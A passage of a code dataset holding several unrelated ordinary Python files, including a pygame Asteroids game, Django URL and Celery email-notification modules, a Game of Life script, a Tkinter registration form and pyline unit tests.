text_objects(text, largeText)\r\n TextRect.center = ((screen_width/2),(screen_height/2))\r\n screen.blit(TextSurf, TextRect)\r\n\r\n pygame.display.update()\r\n \r\n time.sleep(2)\r\n \r\n game_intro()\r\n\r\n\r\ndef button(msg, x, y, w, h, ic, ac, action = None):\r\n mouse = pygame.mouse.get_pos()\r\n click = pygame.mouse.get_pressed()\r\n \r\n if x + w > mouse[0] > x and y + h > mouse[1] > y:\r\n pygame.draw.rect(game_Display, ac, (x, y, w, h))\r\n if click[0] == 1 and action != None:\r\n action()\r\n \r\n else:\r\n pygame.draw.rect(game_Display, ic, (x, y, w, h))\r\n \r\n smallText = pygame.font.Font('freesansbold.ttf',20)\r\n textSurf, textRect = text_objects(msg, smallText)\r\n textRect.center = ((x + (w/2)), (y + (h/2)))\r\n game_Display.blit(textSurf, textRect)\r\n\r\ndef quitgame():\r\n pygame.quit()\r\n quit()\r\n\r\n\r\ndef game_intro():\r\n\r\n intro = True\r\n while intro:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n quitgame()\r\n \r\n game_Display.fill(white)\r\n largeText = pygame.font.Font('freesansbold.ttf',115)\r\n TextSurf, TextRect = text_objects('Asteroids', largeText)\r\n TextRect.center = ((screen_width/2),(screen_height/2))\r\n game_Display.blit(TextSurf, TextRect)\r\n\r\n button('Play', 125, 450, 100, 50, green, bright_green, game_loop)\r\n button('Tutorial', 575, 450, 100, 50, red, bright_red, quitgame)\r\n\r\n \r\n pygame.display.update()\r\n clock.tick(15)\r\n\r\n\r\ndef game_loop():\r\n x = (screen_width/2)\r\n y = (screen_height/2)\r\n left = 0\r\n right = 0\r\n accelerator = 0\r\n rotation = 0\r\n ac_y = 0\r\n ac_x = 0\r\n \r\n thing_starty = - 100\r\n thing_speed = 5\r\n object_radius = 35\r\n shot_radius = 5\r\n thing_startx = random.randrange(0, screen_width - object_radius)\r\n \r\n space = 0\r\n speed_x = 0\r\n speed_y = 0\r\n st = 0\r\n shot_startx = 0\r\n shot_starty = 0\r\n bullets = []\r\n\r\n\r\n while True:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n quitgame()\r\n\r\n \r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_RIGHT:\r\n right = True\r\n\r\n \r\n if event.key == pygame.K_LEFT:\r\n left = True\r\n \r\n\r\n if event.key == pygame.K_UP:\r\n accelerator = True\r\n\r\n if event.key == pygame.K_SPACE:\r\n shot_starty = y - 40\r\n shot_startx = x - 30\r\n bullets.append([bullet, bulletRec,shot_startx, shot_starty])\r\n if rotation >= 0 and rotation <= 90:\r\n speed_x = math.sin(rotation*math.pi/180) * 15\r\n speed_y = math.cos(rotation*math.pi/180) * 15\r\n elif rotation >= 90 and rotation <= 180:\r\n speed_x = math.sin(rotation*math.pi/180) * 15\r\n speed_y = math.cos(rotation*math.pi/180) * 15\r\n elif rotation >= 180 and rotation <= 270:\r\n speed_x = math.sin(rotation*math.pi/180) * 15\r\n speed_y = math.cos(rotation*math.pi/180) * 15\r\n elif rotation >= 270 and rotation <= 360:\r\n speed_x = math.sin(rotation*math.pi/180) * 15\r\n speed_y = math.cos(rotation*math.pi/180) * 15\r\n print(bullets)\r\n\r\n\r\n\r\n if event.type == pygame.KEYUP:\r\n if left and event.key == pygame.K_LEFT:\r\n left = False\r\n \r\n if right and event.key == pygame.K_RIGHT:\r\n right = False\r\n \r\n if event.key == pygame.K_UP:\r\n accelerator = False\r\n\r\n if event.key == pygame.K_SPACE:\r\n space = False\r\n \r\n\r\n if left:\r\n rotation += 5\r\n \r\n elif right: \r\n rotation -= 5\r\n \r\n if accelerator:\r\n if rotation >= 0 and rotation <= 90:\r\n ac_x = math.sin(rotation*math.pi/180) * 3\r\n ac_y = math.cos(rotation*math.pi/180) * 3\r\n elif rotation >= 90 and rotation <= 180:\r\n ac_x = math.sin(rotation*math.pi/180) * 3\r\n ac_y = math.cos(rotation*math.pi/180) * 3\r\n elif rotation >= 180 and rotation <= 270:\r\n ac_x = math.sin(rotation*math.pi/180) * 3\r\n ac_y = math.cos(rotation*math.pi/180) * 3\r\n elif rotation >= 270 and rotation <= 360:\r\n ac_x = math.sin(rotation*math.pi/180) * 3\r\n ac_y = math.cos(rotation*math.pi/180) * 3\r\n else:\r\n if rotation >= 0 and rotation <= 90:\r\n ac_x = math.sin(rotation*math.pi/180) / 2\r\n ac_y = math.cos(rotation*math.pi/180) / 2\r\n elif rotation >= 90 and rotation <= 180:\r\n ac_x = math.sin(rotation*math.pi/180) / 2\r\n ac_y = math.cos(rotation*math.pi/180) / 2\r\n elif rotation >= 180 and rotation <= 270:\r\n ac_x = math.sin(rotation*math.pi/180) / 2\r\n ac_y = math.cos(rotation*math.pi/180) / 2\r\n elif rotation >= 270 and rotation <= 360:\r\n ac_x = math.sin(rotation*math.pi/180) / 2\r\n ac_y = math.cos(rotation*math.pi/180) / 2\r\n\r\n\r\n \r\n\r\n \r\n if x < -38:\r\n x = 800\r\n elif x > 838:\r\n x = 0\r\n elif y < -19:\r\n y = 619\r\n elif y > 619:\r\n y = -19\r\n \r\n\r\n if rotation >= 360:\r\n rotation = 0\r\n elif rotation < 0:\r\n rotation = 360\r\n y -= ac_y\r\n x -= ac_x\r\n\r\n\r\n \r\n shot_starty -= speed_y\r\n shot_startx -= speed_x\r\n\r\n\r\n game_Display.fill((255,255,255))\r\n\r\n bullet = pygame.image.load('Imagens/Bullet.png')\r\n bulletRec = bullet.get_rect()\r\n bulletRec.center = (shot_startx + 15, shot_starty + 20)\r\n\r\n if len(bullets) > 0:\r\n for b in bullets:\r\n game_Display.blit(bullet, bulletRec)\r\n else:\r\n game_Display.blit(bullet, bulletRec)\r\n\r\n if (shot_startx > 850 or shot_startx < -50) or (shot_starty > 650 or shot_starty < -50):\r\n bullets.remove[0]\r\n\r\n \r\n naveImg = pygame.image.load('Imagens/naveReserva.png')\r\n naveImg = pygame.transform.rotate(naveImg,rotation)\r\n naveImgRec = naveImg.get_rect()\r\n naveImgRec.center = (x-15,y-20)\r\n\r\n \r\n if thing_starty > screen_height:\r\n thing_starty = 0 - (object_radius*2)\r\n thing_startx = random.randrange(0,screen_width - object_radius)\r\n \r\n game_Display.blit(naveImg,naveImgRec)\r\n \r\n\r\n pygame.display.update()\r\n clock.tick(60)\r\n\r\ngame_intro()\r\n","sub_path":"Pygame-master/Asteroids.py","file_name":"Asteroids.py","file_ext":"py","file_size_in_byte":7891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"126379133","text":"import numpy as np\nimport h5py\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"imagesetfile\", help=\"Input image set file (hdf5 format)\")\nparser.add_argument(\"splitindex\", type=int, help=\"0-based index of last image to put in first output file\")\nparser.add_argument(\"firstfile\", help=\"First output image set file (hdf5 format)\")\nparser.add_argument(\"secondfile\", help=\"Second output image set file (hdf5 format)\")\n\nargs = parser.parse_args()\n\ninfile = h5py.File(args.imagesetfile, 'r')\nfirstfile = h5py.File(args.firstfile, 'w')\nsecondfile = h5py.File(args.secondfile, 'w')\n\nin_image_num = 0\n\nwhile True:\n image = infile.get(str(in_image_num))\n if image is None:\n break\n print(\"Writing image \"+str(in_image_num)+\"...\")\n if in_image_num <= args.splitindex:\n n = in_image_num\n firstfile.create_dataset(str(n), data=np.array(image, dtype=np.float_))\n else:\n n = in_image_num - (args.splitindex+1)\n secondfile.create_dataset(str(n), data=np.array(image, dtype=np.float_))\n in_image_num += 1\n","sub_path":"scripts/imagesetsplitter.py","file_name":"imagesetsplitter.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"450135771","text":"from django.conf.urls.defaults import patterns, include, url\nfrom django.contrib import admin\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n# url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^accounts/login/$', 'django.contrib.auth.views.login',\n {'template_name': 'accounts/login.html'},\n name='acct_login'),\n url(r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login',\n name='acct_logout'),\n url(r'^data/', include('freemix.dataset.urls')),\n (r'^search/', include('haystack.urls')),\n\n)\n","sub_path":"site_example/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"251788341","text":"from Bio import SeqIO\n\nf = open('list.txt')\ngenes = f.readlines()\nf.close()\n\nfor i in range(len(genes)):\n genes[i] = genes[i].rstrip()\n\nrmlst_stuff = SeqIO.parse('/mnt/nas/Adam/assemblypipeline/rMLST/2017-03-29/rMLST_combined.fasta', 'fasta')\nfor item in rmlst_stuff:\n gene = item.id.split('_')[0]\n if gene not in genes:\n print('>' + item.id)\n print(str(item.seq))","sub_path":"rmlst_stripper.py","file_name":"rmlst_stripper.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"270117087","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom celery import shared_task\n\nfrom django.core.mail import send_mail\n\nfrom scheduler.models import STATUS\n\n\ndef mailBase():\n\n text = \"

\"\n\n return text\n\n\ndef reservationDetail(schedule):\n status = dict(STATUS)\n\n data = \"Fecha y hora de inicio: \" + str(schedule.start.strftime(\"%d-%m-%Y %H:%M\")) + \"
\"\n data += \"Fecha y hora de fin: \" + str(schedule.finish.strftime(\"%d-%m-%Y %H:%M\")) + \"
\"\n data += \"Tipo de vuelo: \" + schedule.reservationType.description + \"
\"\n data += \"Estado: \" + status[schedule.status] + \"
\"\n\n return data\n\n\n@shared_task\ndef sendUser(pilot, password):\n\n data = mailBase()\n\n data += \"\"\"

Bienvenido Bravo Zulu!


\n Estimado \"\"\" + pilot.get_full_name() + \"\"\":
\n Usted ha sido registrado como usuario del sistema de reservas de Bravo Zulu,\n a partir de ahora se habilitado para realizar reservas de turnos de vuelo, accediendo a nuestro sistema con la siguiente informacion:

\n http://www.bravo-zulu.com.ar/pilot/login
\n Usuario: \"\"\" + pilot.email + \"\"\"
\n Clave: \"\"\" + password + \"\"\"

\n Muchas gracias por elegirnos!\"\"\"\n\n client = []\n client.append(pilot.email)\n\n send_mail('Registro de usuario - Bravozulu',\n \"\",\n 'info@bravo-zulu.com.ar',\n client,\n fail_silently=False,\n html_message=data)\n\n\n@shared_task\ndef notifyReservationStatus(scheduleStudent):\n status = dict(STATUS)\n\n data = mailBase()\n\n data += \"Estimado/a \" + scheduleStudent.client.get_full_name() + \"
\"\n data += \"Su reserva de vuelo ha cambiado de estado
\"\n data += reservationDetail(scheduleStudent.booking)\n\n data += \"Muchas gracias!\"\n\n client = []\n client.append(scheduleStudent.client.email)\n\n if scheduleStudent.booking.instructor:\n client.append(scheduleStudent.booking.instructor.email)\n\n send_mail('Reserva ' + status[scheduleStudent.booking.status] + ' - Bravozulu',\n \"\",\n 'info@bravo-zulu.com.ar',\n client,\n fail_silently=False,\n html_message=data)\n\n\n@shared_task\ndef notifyNewReservation(scheduleStudent):\n data = mailBase()\n\n data += \"Estimado/a \" + scheduleStudent.client.get_full_name() + \"
\"\n data += \"Hemos registrado la siguiente reserva de vuelo:

\"\n data += reservationDetail(scheduleStudent.booking)\n data += \"

\"\n data += \"Muchas gracias!\"\n\n client = []\n client.append(scheduleStudent.client.email)\n\n send_mail('Nueva reserva de vuelo - Bravozulu',\n \"\",\n 'info@bravo-zulu.com.ar',\n client,\n fail_silently=False,\n html_message=data)\n\n\n@shared_task\ndef notifyInstructor(schedule):\n data = mailBase()\n data += \"Estimado/a \" + schedule.instructor.get_full_name() + \"
\"\n data += \"Se le ha asingado vuelo, cuyo detalle se presenta a continuacion:
\"\n data += reservationDetail(schedule)\n\n client = []\n client.append(schedule.instructor.email)\n\n send_mail('Nuevo vuelo - Bravozulu',\n \"\",\n 'info@bravo-zulu.com.ar',\n client,\n fail_silently=False,\n html_message=data)\n\n\n@shared_task\ndef sendResetLink(pilot, link):\n data = mailBase()\n data += \"Estimado/a \" + pilot.get_full_name() + \"
\"\n data += \"Hemos recibido una solicitud de para hacer un cambio de clave, en caso que usted \"\n data += \"no haya hecho ninguna solicitud, por favor desestime este correo. En caso contrario \"\n data += \"acceda al siguiente link:

\"\n data += \"
\" + link + \"\"\n\n client = []\n client.append(pilot.email)\n\n send_mail('Solicitud cambio de clave - Bravozulu',\n \"\",\n 'info@bravo-zulu.com.ar',\n client,\n fail_silently=False,\n html_message=data)\n\n\n@shared_task\ndef sendPassword(pilot, password):\n\n data = mailBase()\n data += \"Estimado/a \" + pilot.get_full_name() + \"

\"\n data += \"Sus datos de acceso han sido modificados, para acceder a nuestros \" \\\n \"servicios debera hacerlo con la siguiente informacion.
\"\n data += \"Email: \" + pilot.email + \"
\"\n data += \"Clave: \" + password + \"

Muchas gracias\"\n\n client = []\n client.append(pilot.email)\n\n send_mail('Nueva clave - Bravozulu',\n \"\",\n 'info@bravo-zulu.com.ar',\n client,\n fail_silently=False,\n html_message=data)\n","sub_path":"notify/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":4798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"454359672","text":"\n# -*- coding: utf-8 -*-\n\n# Autor: Sławomir Kranc\n\nimport sys, argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport time\n\n\nON = 255\nOFF = 0\nprobability = [0.1, 0.9]\nN = 55\nM = 55\nvals = [ON, OFF]\n\n### ZADANIE 1 ###\ndef randomGrid():\n \"\"\"Zwraca planszę N x M losowych wartości\"\"\"\n return np.random.choice(vals, N*M, p=probability).reshape(N, M)\n\n#### ZADANIE 2 ###\ndef addBeehive(i, j, grid):\n \"\"\"Dodaje ul z lewą górną komórką w (i,j)\"\"\"\n beehive = np.array([[OFF, ON, ON, OFF],\n [ON, OFF, OFF, ON],\n [OFF, ON, ON, OFF]])\n grid[i:i+3, j:j+4] = beehive\n return grid\n\ndef addLoaf(i, j, grid):\n \"\"\"Dodaje bochenek z lewą górną komórką w (i,j)\"\"\"\n loaf = np.array([[OFF, ON, ON, OFF],\n [ON, OFF, OFF, ON],\n [OFF, ON, OFF, ON],\n [OFF, OFF, ON, OFF]])\n grid[i:i+4, j:j+4] = loaf\n return grid\n\ndef addSquare(i, j, grid):\n \"\"\"Dodaje blok z lewą górną komórką w (i,j)\"\"\"\n square = np.array([[ON, ON],\n [ON, ON]])\n grid[i:i+2, j:j+2] = square\n return grid\n\ndef addBlinker(i, j, grid):\n \"\"\"Dodaje sygnalizator z lewą górną komórką w (i,j)\"\"\"\n blinker = np.array([[ON],\n [ON],\n [ON]])\n grid[i:i+3, j:j+1] = blinker\n return grid\n\ndef addBoat(i, j, grid):\n \"\"\"Dodaje łódkę z lewą górną komórką w (i,j)\"\"\"\n boat = np.array([[ON, ON, OFF],\n [ON, OFF, ON],\n [OFF, ON, OFF]])\n grid[i:i+3, j:j+3] = boat\n return grid\n\n\ndef addFrog(i, j, grid):\n \"\"\"Dodaje żabę z lewą górną komórką w (i,j)\"\"\"\n frog = np.array([[OFF, ON, OFF, OFF],\n [OFF, ON, ON, OFF],\n [OFF, ON, ON, OFF],\n [OFF, OFF, ON, OFF]])\n grid[i:i+4, j:j+4] = frog\n return grid\n\ndef addLightHouse(i, j, grid):\n \"\"\"Dodaje latarnię morską z lewą górną komórką w (i,j)\"\"\"\n lightHouse = np.array([[OFF, OFF, ON, OFF, OFF],\n [OFF, ON, OFF, ON, OFF],\n [ON, OFF, ON, OFF, ON],\n [OFF, ON, OFF, ON, OFF],\n [OFF, OFF, ON, OFF, OFF],\n [OFF, OFF, ON, OFF, OFF],\n [OFF, OFF, ON, OFF, OFF],\n [OFF, OFF, ON, OFF, OFF]])\n grid[i:i+8, j:j+5] = lightHouse\n return grid\n\n\ndef update(frameNum, img, grid):\n newGrid = grid.copy()\n for i in range(N):\n for j in range(M):\n\n ### ZADANIE 3 ###\n total = int((grid[i, (j-1)%M] + grid[i, (j+1)%M] +\n grid[(i-1)%N, j] + grid[(i+1)%N, j] +\n grid[(i-1)%N, (j-1)%M] + grid[(i-1)%N, (j+1)%M] +\n grid[(i+1)%N, (j-1)%M] + grid[(i+1)%N, (j+1)%M])/255)\n \n ###ZADANIE 4 ###\n if grid[i, j] == ON:\n if (total < 2) or (total > 3):\n newGrid[i, j] = OFF\n else:\n if total == 3:\n newGrid[i, j] = ON\n\n img.set_data(newGrid)\n grid[:] = newGrid[:]\n return img,\n\ndef main():\n\n global ani\n\n updateInterval = 60\n\n\n grid = np.array([])\n\n grid = randomGrid()\n\n grid = addBoat(1, 1, grid)\n grid = addSquare(7, 7, grid)\n grid = addBeehive(14, 14, grid)\n grid = addLoaf(21, 21, grid)\n grid = addBlinker(28, 28, grid)\n grid = addFrog(35, 35, grid)\n grid = addLightHouse(40, 40, grid)\n\n\n fig, ax = plt.subplots()\n img = ax.imshow(grid, interpolation='nearest')\n ani = animation.FuncAnimation(fig, update, fargs=(img, grid, ),\n frames = 60,\n interval=updateInterval,\n save_count=50)\n\n plt.show()\n\n ### ZADANIE 5 ###\n for i in range (0,5):\n plt.savefig('D:\\image'+str(i+1)+'.png')\n time.sleep(2)\n\n\nif __name__ == '__main__':\n main()","sub_path":"PYTHON_WARSZTATY/Warsztaty-4/Zadania_SK.py","file_name":"Zadania_SK.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"333550127","text":"import time\n\nproblemSize=1000000\nprint('%12s%16s '%('problemSize','Second'))\nfor count in range(5):\n start=time.time()\n work=1\n for x in range(problemSize):\n work+=1\n work-=1\n elapsed=time.time()-start\n print('%12d%16.3f'%(problemSize,elapsed))\n problemSize*=2","sub_path":"learnpython.py","file_name":"learnpython.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"545559340","text":"#!/usr/bin/env python\r\nimport sys, os, time \r\nimport hashlib, csv\r\n\r\ndef incre_version(title):\r\n p = \"version \"\r\n pt1 = title.find(p) + len(p)\r\n o = ord(title[pt1]) + 1\r\n num = chr(o)\r\n title = title[:pt1] + num + ']'\r\n print(title)\r\n return title\r\n\r\n\r\nfile = open('CurrentWebcastsList2.txt', 'r')\r\nnew_file = open('CurrentWebcastsList3.txt', 'w')\r\n\r\nfile_reader = csv.reader(file, delimiter=',')\r\n\r\nlist = []\r\nfor row in file_reader:\r\n list.append(row)\r\n\r\nnew_list = []\r\nfor row in list:\r\n title = row[0]\r\n\r\n for xrow in new_list:\r\n while xrow[0] == title:\r\n title = incre_version(title)\r\n\r\n row[0] = title\r\n new_list.append(row)\r\n\r\nfor t in new_list:\r\n string = ''\r\n for i in range(len(t)):\r\n string = string + t[i] + ','\r\n\r\n string = string[:len(string)-1] + '\\n'\r\n new_file.write(string)\r\n\r\nfile.close()\r\nnew_file.close()\r\n\r\nfile = open('CurrentWebcastsList2.txt', 'r')\r\nnew_file = open('CurrentWebcastsList3.txt', 'r')\r\n\r\ncount = 0\r\nfor row in file:\r\n count = count + 1\r\n\r\nprint(str(count))\r\n\r\ncount = 0\r\nfor row in new_file:\r\n count = count + 1\r\n\r\nprint(str(count))\r\n\r\nfile.close()\r\nnew_file.close()\r\n","sub_path":"Webcast/CurrentQuarterWebcast/dupechecker.py","file_name":"dupechecker.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"538322603","text":"\"\"\"Urls for the user app.\"\"\"\nfrom django.urls import path\n\nfrom . import views\n\n\napp_name = \"users\"\nurlpatterns = [\n path(\"registration/\", views.registration, name=\"registration\"),\n path(\"login/\", views.custom_login_view, name=\"login\"),\n path(\"logout/\", views.custom_logout_view, name=\"logout\"),\n path(\"account/\", views.account, name=\"account\"),\n]\n","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"628487141","text":"from tkinter import*\r\nfrom openpyxl import*\r\nname123='C:\\\\Users\\\\venga\\\\OneDrive\\\\Desktop\\\\Book1.xlsx'\r\nwb=load_workbook(name123)\r\nsheet=wb.active\r\ndef excel():\r\n sheet.column_dimensions['A'].width=30\r\n sheet.column_dimensions['B'].width = 10\r\n sheet.column_dimensions['C'].width = 10\r\n sheet.column_dimensions['D'].width = 20\r\n sheet.column_dimensions['E'].width = 20\r\n sheet.column_dimensions['F'].width = 40\r\n sheet.column_dimensions['G'].width = 50\r\n\r\n sheet.cell(row=1,column=1).value=\"Name\"\r\n sheet.cell(row=1,column=2).value=\"course\"\r\n sheet.cell(row=1,column=3).value=\"semeister\"\r\n sheet.cell(row=1,column=4).value=\"Form number\"\r\n sheet.cell(row=1,column=5).value=\"Contact number\"\r\n sheet.cell(row=1,column=6).value=\"Email id\"\r\n sheet.cell(row=1,column=7).value=\"Address\"\r\ndef focus1(event):\r\n course_field.focus_set()\r\ndef focus2(event):\r\n sem_field.focus_set()\r\ndef focus3(event):\r\n form_no_field.focus_set()\r\ndef focus4(event):\r\n contact_no_field.focus_set()\r\ndef focus5(event):\r\n email_id_field.focus_set()\r\ndef focus6(event):\r\n address_field.focus_set()\r\ndef clear():\r\n name_field.delete(0,END)\r\n course_field.delete(0,END)\r\n sem_field.delete(0,END)\r\n form_no_field.delete(0,END)\r\n contact_no_field.delete(0,END)\r\n email_id_field.delete(0,END)\r\n address_field.delete(0,END)\r\ndef insert():\r\n if(name_field.get()==\"\"and course_field.get() ==\"\" and form_no_field.get()==\"\"and contact_no_field.get()==\"\"and email_id_field.get()==\"\"and address_field.get()==\"\"):\r\n print(\"empty input\")\r\n else:\r\n current_row=sheet.max_row\r\n current_column=sheet.max_column\r\n sheet.cell(row=current_row +1,column=1).value=name_field.get()\r\n sheet.cell(row=current_row +1,column=2).value=course_field.get()\r\n sheet.cell(row=current_row +1,column=3).value=sem_field.get()\r\n sheet.cell(row=current_row +1,column=4).value=form_no_field.get()\r\n sheet.cell(row=current_row +1,column=5).value=contact_no_field.get()\r\n sheet.cell(row=current_row +1,column=6).value=email_id_field.get()\r\n sheet.cell(row=current_row +1,column=7).value=address_field.get()\r\n\r\n wb.save(name123)\r\n\r\n name_field.focus_set()\r\n\r\n clear()\r\n\r\n\r\nif __name__=='__main__':\r\n root=Tk()\r\n root.configure(background='light green')\r\n root.title(\"registration form\")\r\n root.geometry(\"500x400\")\r\n\r\n\r\n excel()\r\n\r\n\r\n heading=Label(root,text=\"form\",bg='light green')\r\n name = Label(root, text=\"Name\", bg='light green')\r\n course = Label(root, text=\"Course\", bg='light green')\r\n sem = Label(root, text=\"Semister\", bg='light green')\r\n form_no = Label(root, text=\"Form_no\", bg='light green')\r\n contact_no = Label(root, text=\"Contact_no\", bg='light green')\r\n email_id = Label(root, text=\"Email_id\", bg='light green')\r\n address = Label(root, text=\"Address\", bg='light green')\r\n\r\n\r\n\r\n heading.grid(row=0,column=1)\r\n name.grid(row=1, column=0)\r\n course.grid(row=2, column=0)\r\n sem.grid(row=3, column=0)\r\n form_no.grid(row=4, column=0)\r\n contact_no.grid(row=5, column=0)\r\n email_id.grid(row=6, column=0)\r\n address.grid(row=7, column=0)\r\n\r\n\r\n\r\n name_field = Entry(root)\r\n course_field = Entry(root)\r\n sem_field = Entry(root)\r\n form_no_field = Entry(root)\r\n contact_no_field = Entry(root)\r\n email_id_field = Entry(root)\r\n address_field = Entry(root)\r\n\r\n\r\n name_field.bind(\"\",focus1)\r\n course_field.bind(\"\",focus2)\r\n sem_field.bind(\"\",focus3)\r\n form_no_field.bind(\"\",focus4)\r\n contact_no_field.bind(\"\",focus5)\r\n email_id_field.bind(\"\",focus6)\r\n\r\n\r\n name_field.grid(row=1,column=1, ipadx=\"100\")\r\n course_field.grid(row=2, column=1, ipdax =\"100\")\r\n sem_field.grid(row=3, column=1, ipdax =\"100\")\r\n form_no_field.grid(row=4, column=1, ipdax =\"100\")\r\n contact_no_field.grid(row=5, column=1, ipdax =\"100\")\r\n email_id_field.grid(row=6, column=1, ipdax =\"100\")\r\n address_field.grid(row=7, column=1, ipdax =\"100\")\r\n excel()\r\n\r\n\r\n submit=Button(root,text=\"submit\",fg=\"black\",bg=\"red\",command=insert)\r\n submit.grid(row=8,column=1)\r\n root.mainloop()","sub_path":"registration.py","file_name":"registration.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"156375228","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import print_function\n\"\"\"\ntest_pyline\n----------------------------------\n\nTests for `pyline` module.\n\"\"\"\n\nimport unittest\n\nfrom pyline import pyline\n\nTEST_INPUT = \"\"\"\nLines\n=======\nOf a file\n---------\nWith Text\n\nAnd Without\n\nhttp://localhost/path/to/file?query#fragment\n\n\"\"\"\nimport logging\nimport tempfile\nimport os\nimport sys\ntry:\n import StringIO as io # Python 2\nexcept ImportError:\n import io # Python 3\n\n\nclass TestPyline(unittest.TestCase):\n\n def setUp(self, *args):\n self.setup_logging()\n (self._test_file_fd, self.TEST_FILE) = tempfile.mkstemp(text=True)\n fd = self._test_file_fd\n os.write(fd, TEST_INPUT)\n os.write(fd, self.TEST_FILE)\n self.log.info(\"setup: %r\", repr(self.TEST_FILE))\n\n def setup_logging(self):\n self.log = logging.getLogger(self.__class__.__name__)\n self.log.setLevel(logging.DEBUG)\n\n def tearDown(self):\n os.close(self._test_file_fd)\n os.remove(self.TEST_FILE)\n\n def test_10_pyline_pyline(self):\n PYLINE_TESTS = (\n {\"cmd\": \"line\"},\n {\"cmd\": \"words\"},\n {\"cmd\": \"sorted(words)\"},\n {\"cmd\": \"w[:3]\"},\n {\"regex\": r\"(.*)\"},\n {\"regex\": r\"(.*)\", \"cmd\": \"rgx and rgx.groups()\"},\n {\"regex\": r\"(.*)\", \"cmd\": \"rgx and rgx.groups() or '#'\"},\n )\n _test_output = sys.stdout\n for test in PYLINE_TESTS:\n for line in pyline.pyline(io.StringIO(TEST_INPUT), **test):\n print(line, file=_test_output)\n\n def test_20_pyline_main(self):\n CMDLINE_TESTS = (\n tuple(),\n (\"line\",),\n (\"l\",),\n (\"l\", \"-n\"),\n (\"l and l[:5]\",),\n (\"words\",),\n (\"w\",),\n (\"w\", \"-n\"),\n (\"w\", '-O', 'csv'),\n (\"w\", '-O', 'csv', '-n'),\n\n (\"w\", '-O', 'csv', '-s', '0'),\n (\"w\", '-O', 'csv', '-s', '1'),\n (\"w\", '-O', 'csv', '-s', '1,2'),\n (\"w\", '-O', 'csv', '-S', '1'),\n (\"w\", '-O', 'csv', '-S', '1', '-n'),\n\n (\"w\", '-O', 'json'),\n (\"w\", '-O', 'json', '-n'),\n\n (\"w\", '-O', 'tsv'),\n\n (\"w\", '-O', 'html'),\n\n (\"w\", '-O', 'checkbox'),\n\n (\"len(words) > 2 and words\",),\n\n ('-r', '(.*with.*)'),\n ('-r', '(.*with.*)', '-R', 'i'),\n ('-r', '(?P.*with.*)'),\n ('-r', '(?P.*with.*)', '-O', 'json'),\n ('-r', '(?P.*with.*)', '-O', 'checkbox'),\n ('-r', '(.*with.*)', 'rgx and {\"n\":i, \"match\": rgx.groups()[0]}',\n '-O', 'json'),\n (\"-r\", '(.*with.*)', '_rgx.findall(line)',\n '-O', 'json'),\n\n ('-m',\n 'os',\n 'os.path.isfile(line) and (os.stat(line).st_size, line)'),\n #\n (\"-p\", \"p and p.isfile() and (p.size, p, p.stat())\")\n )\n\n TEST_ARGS = ('-f', self.TEST_FILE)\n\n for argset in CMDLINE_TESTS:\n _args = TEST_ARGS + argset\n self.log.debug(\"main%s\" % str(_args))\n try:\n output = pyline.main(*_args)\n for n in output and output or []:\n self.log.debug(n)\n except Exception as e:\n self.log.error(\"cmd: %s\" % repr(_args))\n self.log.exception(e)\n raise\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_pyline.py","file_name":"test_pyline.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"618068661","text":"#!usr/bin/env python\n#-*- coding:utf-8 _*-\n\"\"\"\n@author:alvin\n@file: os.py\n@time: 2019/01/08\n\"\"\"\nimport os\nimport sys\n# print( os)\n#创建文件夹 已经存在返回183 执行cmd net helpmsg 183\n# os.mkdir('c:/log')\n#修改文件夹名\n# os.rename('c:/log','c:/newlog')\n\n#对目录处理 获取当前目录\n# print(os.path.dirname(__file__))\n#获取文件的上级目录\n# print(os.path.dirname(os.path.dirname(__file__)))\n# print(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))\n\n#对day3下的目录的拼接\nbase_dir = os.path.dirname(__file__)\ntar_dir = os.path.dirname(base_dir)\ntar_file = os.path.join(tar_dir,'day3','login.py')\nf=open(tar_file, 'r',encoding='UTF-8')\n# print (f.read())\n\n# def f1(*args,**kwargs):\n# return kwargs\n# print(f1(name='alvin',age='18'))\n\n'''\npython 执行路径搜索:\n程序根目录:当前模块的目录\n环境变量:安装目录\n标准库:安装目录\\Lib\n三方库:安装目录\\Lib\\site-packages\n'''\n# 提示 ModuleNotFoundError: No module named 'day3' 使用sys.path之后导入模块\nbase_dirday3 = 